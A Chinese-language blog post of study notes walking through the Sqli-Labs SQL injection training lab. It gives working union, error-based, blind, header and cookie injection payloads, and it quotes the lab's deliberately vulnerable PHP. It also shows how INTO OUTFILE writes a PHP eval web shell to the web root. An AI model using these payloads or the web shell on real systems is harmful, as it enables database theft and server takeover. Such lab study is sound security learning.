Nancy's Studio.

Sqli-Labs Study

Word count: 3,037 / Reading time: 15 min
2018/08/31 Share

Sqli-Labs注入学习笔记

环境搭建

Ubuntu16.04+apache2+php5.6+mysql5.7

关于平台搭建的相关教程戳这里

搭建完成后进入localhost/sqli-labs-master,点链接看到map

再点Less-1,如果出现如下页面说明数据也已搭建完毕。

现在可以开始进行注入的学习了

Page-1(Basic Challenges)

Less-1

GET-Error based-Single quotes-String

localhost/sqli-labs-master/Less-1/?id=1'出现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1 发现已经闭合,直接加注释符即可注入。

?id=1' order by 2--+?id=1' order by 3--+均正常回显,order by 4报错,说明有三列。

?id=-1' union select database(),2,3--+发现回显为在2,3处,?id=-1' union select 1,database(),3--+得库名security

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema="security" limit 0,1--+改变limit范围共得到emails,referers,uagents,users四个表名。

还有一种更简单的办法:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"--+同理得到id,username,password三个字段名。

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+得到十三组用户名密码。

1
2
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-2

GET-Error based-integer based

?id=1'报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1 发现这个已经闭合过了,再加一个单引号就会多出来。

所以同理直接构造id=-1 union select 1,username,password from users limit 0,1--+

Less-3

GET-Error based-Single quotes with twist-String

?id=1'报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’) LIMIT 0,1’ at line 1 后面多了个括号。构造:?id=1')

Less-4

GET-Error based-Double quotes-String

?id=1'不报错,?id=1"报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1″”) LIMIT 0,1’ at line 1 构造:?id=1")

Less-5

GET-Double injection-Single quotes-String

?id=1这次的页面和之前不太一样,没有出现回显位,所以不能像前几次那样构造了。

可以先看一下这篇博文:MYSQL注入天书之盲注讲解

?id=1'这里报错和Less-1里面的一样。

题目提示双注入:先了解一下

先查库名:?id=-1' union select count(*),1,concat('~',(database()),'~',floor(rand()*2))as a from information_schema.tables group by a--+回显Duplicate entry '~security~1' for key"

也可以用extravalue报错的方法:?id=-1' and extravalue(1,concat(0x7e,(select database()),0x7e))--+回显FUNCTION security.extractvalue does not exist

?id=-1' union select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~',floor(rand()*2))as a from information_schema.tables group by a--+ 回显Duplicate entry '~emails~0' for key"

?id=-1' union select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~',floor(rand()*2))as a from information_schema.tables group by a--+回显Duplicate entry '~users~1' for key"

直接查四个表的方法:?id=-1' union select count(*),1,concat('~',(select (group_concat(table_name)) from information_schema.tables where table_schema='security'),'~',floor(rand()*2))a from information_schema.tables group by a--+

查users表列名:?id=-1' union select count(*),1,concat('~',(select (group_concat(column_name)) from information_schema.columns where table_schema='security' and table_name='users'),'~',floor(rand()*2))a from information_schema.tables group by a--+

查数据:?id=-1' union select count(*),1,concat('~',(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1),'~',floor(rand()*2))a from information_schema.tables group by a--+

Less-6

GET-Double injection-Double quotes-String

?id=1'不报错,?id=1"报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”” LIMIT 0,1’ at line 1 ,把Less-5的payload中的单引号换成双引号即可。

Less-7

GET-Dump into outfile-String

先了解一下dumpfile的用法 还有 SQL注入写入一句话木马原理

首先要获取网站在系统中的具体路径,利用@@datadir (数据库路径) 和@@basedir (MYSQL安装路径)。

在Less-1注入得到数据库路径/var/lib/mysql/,安装路径/usr/

试了?id=1'?id=1"?id=1')都不行,去看了下源码,发现用的双括号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}

?id=-1')) union select 1,2,3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e into outfile '/var/www/html/cmd.php'--+ ,这里的3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e<?php @eval($_POST['cmd']);?>的十六进制。最后再用菜刀连接。

Less-8

GET-Blind-Boolean based-Single quotes

基于布尔的盲注,可以借助substr(),left(),mid()等其他函数判断。

1.从左开始截取字符串:left(str, length),即left(被截取字符串, 截取长度)

2.从右开始截取字符串:right(str, length),即right(被截取字符串, 截取长度)

3.截取特定长度的字符串:

  • substring(str, pos),即:substring(被截取字符串, 从第几位开始截取)

  • substring(str, pos, length),即:substring(被截取字符串,从第几位开始截取,截取长度)

  • 从字符串的倒数第6个字符开始读取,只取2个字符

    1
    SELECT SUBSTRING('helloworld', -6, 2)

4.按关键字进行读取:substring_index(str, delim, count),即substring_index(被截取字符串,关键字,关键字出现的次数)

  • 截取第二个“.”之前的所有字符

    1
    SELECT SUBSTRING_INDEX('www.baidu.com', '.', 2);
  • 截取倒数第二个“.”之后的所有字符

    1
    SELECT SUBSTRING_INDEX('www.baidu.com', '.', -2);
  • 如果关键字不存在,则返回整个字符串

    1
    SELECT SUBSTRING_INDEX('www.baidu.com', '#', 1);

试着查库名:?id=1' and substr(database(),1,1)>'a'--+,若回显you are in说明库名的第一个字符在a之后,然后手工一个一个试就能试出第一个字符是啥,同理就可以试出整个库名。当然这样试很麻烦,用脚本跑会快很多。

类似地,构造?id=1' and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1)1,1)>'a'--+可以试出表名。

或者利用ascii()和substr()函数构造:?id=1' and ascii(substr((select database()),1,1))>33--+

Less-9

GET-Blind-Time bases-Single quotes

基于时间的盲注:附链接

可以利用if(),sleep(),benchmark()函数进行盲注。

  • if(exp1,exp2,exp3):当exp1为true时,执行exp2;否则执行exp3
  • sleep(seconds):让代码执行延迟若干秒
  • benchmark(n,exp):让表达式exp重复执行n次

查库名:?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+匹配的时候会直接返回,不匹配则需等待5秒。表名、列名、数据信息也可以通过这种方式查出。

Less-10

GET-Blind-Time based-Double quotes

将Less-9的payload里的单引号换成双引号即可。

Less-11

POST-Error based-Single quotes-String

变成post了,有俩输入框username和password,猜会用到万能密码。用户名输admin'#密码随便填,回显用户admin登录,可以注入了

username:' or 1=1 order by 2#回显正确,' or 1=1 order by 3#报错,说明有两列

' union select 1,database()#得库名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#得表名,查列名和数据同理。

(这里都是在username里注入,也可以利用已知的用户名admin在password里添加查询语句)

Less-12

POST-Error based-Double quotes-String-with twist

这里构造方法和Less-11差不多,只需把单引号改成")

Less-13

POST-Double injection-Single quotes-String-with twist

查库名:用户名输' or '1'='1,密码输') or 1=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))#,报错FUNCTION security.extractvalue does not exist

或者用户名输admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))#,密码随便输,出现报错XPATH syntax error:'~security~'

查表名:用户名admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e))#,报错XPATH syntax error:'~emails,referers,uagents,users~'

查列名和数据同理。

Less-14

POST-Double injection-Single quotes-String-with twist

和Less-13类似,把')'换成"

Less-15

POST-Blind-Boolean/time Based-Single quotes

基于布尔:用户名admin' and substr(database(),1,1)>'a'#

基于时间:用户名admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#

Less-16

POST-Blind-Boolean/time Based-Double quotes

把Less-15里的单引号换成)"

附源码

1
2
3
4
5
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

Less-17

POST-Update Query-Error based-String

关于Update Query:附链接

看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
  • addslashes():返回在预定义字符(’,”,\,NULL)前添加反斜杠的字符串
  • stripslashes():删除addslashes()添加的反斜杠
  • mysql_real_escape_string():转义SQL语句中字符串的特殊字符

发现了一个过滤函数,并且会检查输入的username,所以这次只能在password处构造

uname=admin&passwd='and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

或者uname=admin&passwd='or updatexml(1,concat('~',(select database()),'~'),0)#&submit=Submit

查数据uname=admin&passwd='or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password)from users limit 0,1)as a),'~'),0)#

Less-18

POST-Header injection-Uagent field-Error based

先看源码,贴一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

这次在username和password处都对输入进行了过滤,但是往后看会发现$insert="INSERT INTO security.uagents ('uagent', 'ip_address', 'username') VALUES ('$uagent', '$IP', '$uname')"; mysql_query($insert);这里提供了新的注入点,可以在$uagent或$IP里加查询语句,uagent相对好修改,直接用火狐浏览器插件hackbar里POST。

UA:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

POST以后回显如图

Less-19

POST-Header injection-Referer field-Error based

和Less-18差不多,这次是修改referer。

Referer:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

Less-20

POST-Cookie injection-Uagent field-Error based

这里需要在Cookie中构造查询语句,可以借助火狐插件Cookie Quick Manager修改cookie值

先用admin身份登录一下会产生一个cookie,尝试修改成uname=admin' order by 3#不报错,改成4报错,一共有三列。

接着构造uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#,回显如图

其他同理。

Less-21

POST-Dump into outfile-String

查看源码,发现了一些新东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo "<br><br><br><b>";
echo '<img src="../images/Less-21.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', base64_encode($row1['username']), time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}

Less-22

Future editions

CATALOG
  1. 1. Sqli-Labs注入学习笔记
    1. 1.1. 环境搭建
    2. 1.2. Page-1(Basic Challenges)
      1. 1.2.1. Less-1
      2. 1.2.2. Less-2
      3. 1.2.3. Less-3
      4. 1.2.4. Less-4
      5. 1.2.5. Less-5
      6. 1.2.6. Less-6
      7. 1.2.7. Less-7
      8. 1.2.8. Less-8
      9. 1.2.9. Less-9
      10. 1.2.10. Less-10
      11. 1.2.11. Less-11
      12. 1.2.12. Less-12
      13. 1.2.13. Less-13
      14. 1.2.14. Less-14
      15. 1.2.15. Less-15
      16. 1.2.16. Less-16
      17. 1.2.17. Less-17
      18. 1.2.18. Less-18
      19. 1.2.19. Less-19
      20. 1.2.20. Less-20
      21. 1.2.21. Less-21
      22. 1.2.22. Less-22